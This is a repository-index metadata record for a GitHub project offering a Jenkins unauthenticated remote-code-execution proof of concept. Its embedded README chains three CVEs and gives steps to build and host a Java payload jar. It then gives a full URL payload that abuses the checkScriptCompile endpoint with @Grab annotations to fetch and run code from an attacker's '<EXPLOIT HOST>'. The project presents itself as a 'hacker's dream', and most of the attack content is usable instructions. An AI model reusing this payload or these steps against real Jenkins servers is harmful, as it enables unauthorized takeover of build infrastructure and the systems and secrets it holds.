{"id":14984641,"url":"https://github.com/petercunha/jenkins-rce","last_synced_at":"2025-09-12T18:47:01.779Z","repository":{"id":90895796,"uuid":"171537603","full_name":"petercunha/jenkins-rce","owner":"petercunha","description":":smiling_imp: Jenkins RCE PoC. From unauthenticated user to remote code execution, it's a hacker's dream!","archived":false,"fork":false,"pushed_at":"2019-06-10T06:57:58.000Z","size":15,"stargazers_count":297,"open_issues_count":0,"forks_count":66,"subscribers_count":5,"default_branch":"master","last_synced_at":"2025-09-09T11:35:21.559Z","etag":null,"topics":["exploit","hacking","jenkins","orangetw","rce","unauthenticated"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/petercunha.png","metadata":{"files":{"readme":"README.txt","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2019-02-19T19:39:43.000Z","updated_at":"2025-07-17T10:55:15.000Z","dependencies_parsed_at":null,"dependency_job_id":"9e7c182b-9674-4272-8a18-247a516ac1bc","html_url":"https://github.com/petercunha/jenkins-rce","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/petercunha/jenkins-rce","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/petercunha%2Fjenkins-rce","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/petercunha%2Fjenkins-rce/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/petercunha%2Fjenkins-rce/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/petercunha%2Fjenkins-rce/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/petercunha","download_url":"https://codeload.github.com/petercunha/jenkins-rce/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/petercunha%2Fjenkins-rce/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274857969,"owners_count":25362879,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-12T02:00:09.324Z","response_time":60,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","hacking","jenkins","orangetw","rce","unauthenticated"],"created_at":"2024-09-24T14:09:27.077Z","updated_at":"2025-09-12T18:47:01.736Z","avatar_url":"https://github.com/petercunha.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"JENKINS UNAUTHENTICATED REMOTE CODE EXECUTION\n---------------------------------------------\n\nExploit compiled by me, but full credits for exploit discovery and exploit chaining go to Orange Tsai (orange.tw).\n\nIt chains CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029 to a more reliable and elegant pre-auth remote code execution!\n\nRead his write-ups on this exploit here -\nPart 1: https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html\nPart 2: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html\nHis github: https://github.com/orangetw\n\n\nINSTRUCTIONS:\n-------------\n- Edit code/Payload.java to your specifications, then run build.sh to generate a jar and copy it to the web folder.\n- Once that is finished, copy the inner contents of www/ to a webserver.\n- In the URL payload, replace \u003cTARGET HOST\u003e with the hostname of the server, and \u003cEXPLOIT HOST\u003e to the hostname of where you uploaded your files.\n\n\nURL Payload:\n------------\nhttp://\u003cTARGET HOST\u003e/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile\n?value=\n@GrabConfig(disableChecksums=true)%0a\n@GrabResolver(name='payload', root='http://\u003cEXPLOIT HOST\u003e')%0a\n@Grab(group='package', module='payload', version='1')%0a\nimport Payload;\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpetercunha%2Fjenkins-rce","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpetercunha%2Fjenkins-rce","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpetercunha%2Fjenkins-rce/lists"}